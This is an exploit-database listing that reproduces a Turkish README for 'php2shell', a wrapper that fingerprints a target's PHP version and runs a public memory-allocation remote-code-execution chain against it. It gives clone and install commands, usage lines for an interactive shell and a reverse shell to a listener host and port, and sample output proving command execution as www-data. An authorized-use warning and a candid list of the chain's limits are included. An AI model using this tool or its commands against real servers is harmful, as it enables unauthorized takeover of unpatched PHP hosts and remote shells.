Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
> **Yalnızca sahibi olduğunuz veya yazılı izin verdiğiniz sistemlerde kullanın.**
devploit'in toolkit'i güçlü ama kullanmak için profil adı, mimari, offset gibi
detayları bilmek gerekiyor. Bu sarmalayıcı hedefin PHP sürümünü okur, doğru
profilip seçer, gerekirse Docker'ı kurar ve sonucu tek komutta verir.
git clone ~/php2shell
cd ~/php2shell && python3 tools/bootstrap_upstream.py
git clone ~/php2shell-kit
sudo ln -sf ~/php2shell-kit/php2shell /usr/local/bin/php2shell
Ya da `php2shell` dosyasını toolkit dizininin yanına koy — kendisi bulur.
php2shell -u # sürümü tespit et, profili seç, exploit et
php2shell -u --check # sürüm/açık kontrolü (sömürü yok)
php2shell -u --assess # davranış değerlendirmesi (sömürü yok)
php2shell -u --shell # interaktif komut döngüsü
php2shell -u --rev --lhost 1.2.3.4 --lport 4444
php2shell --doctor # ortam tanılama
- Docker yoksa kurar, daemon kapalıysa başlatır
- Hedefin `X-Powered-By` / `Server` başlığından PHP sürümünü okur
- Sürüme + mimariye uygun doğrulanmış profili seçer
- Önceki denemeden kalan `lab/rce/out` ve `offsets.env` durumunu temizler
- Başarısız olursa lab'ı tazeleyip 3 kez dener
| Yetenek | CVE-2026-109618 | CVE-2026-109619 |
| Sürüm kontrolü (`--check`) | evet | evet |
| Davranış değerlendirmesi (`--assess`) | evet | evet (FPM stale-state sinyalleri) |
| RCE zinciri (`-u`, `--shell`, `--rev`) | evet, mod_php profilleri | **hayır** |
Dürüst olalım: elimizdeki doğrulanmış zincir mod_php tarafı (109618). PHP-FPM
tarafı (109619) `--assess` ile değerlendiriliyor ve "RCE doğrulandı" iddia
etmiyor. Sahte bir zincir yazmaktansa sınırı söylemeyi tercih ettim.
[*] tespit: PHP 8.4.26 / amd64 -> profil php-8.4.26-bookworm-amd64
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lab: `php:8.4.26-apache`, izole Docker container, `uid=33(www-data)`.
Aynı labda `8.4.27` (yamalı) zinciri stage 1'de düşürüyor.
- Docker (yalnızca `-u` / `--shell` / `--rev`)
- Exploit zinciri build'e özel: yanlış imaj etiketinde stage 1/3 tutmaz.
- Sürüm tespiti başlığa bağlı; `X-Powered-By` gizliyse sonuç yok.
- Dağıtımlar yamayı upstream sürümü değiştirmeden verir
(Ubuntu `8.3.6-0ubuntu0.24.04.13` yamalıdır). Paket sürümüyle teyit edin.
- [devploit/php2shell]( — araç seti (MIT)
- [9bie/php2shell-bypass-aslr-exp]( — public exploit
MIT — yalnızca bu depodaki sarmalayıcı için geçerlidir. Altındaki toolkit ve
upstream exploit kendi lisanslarına tabidir.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
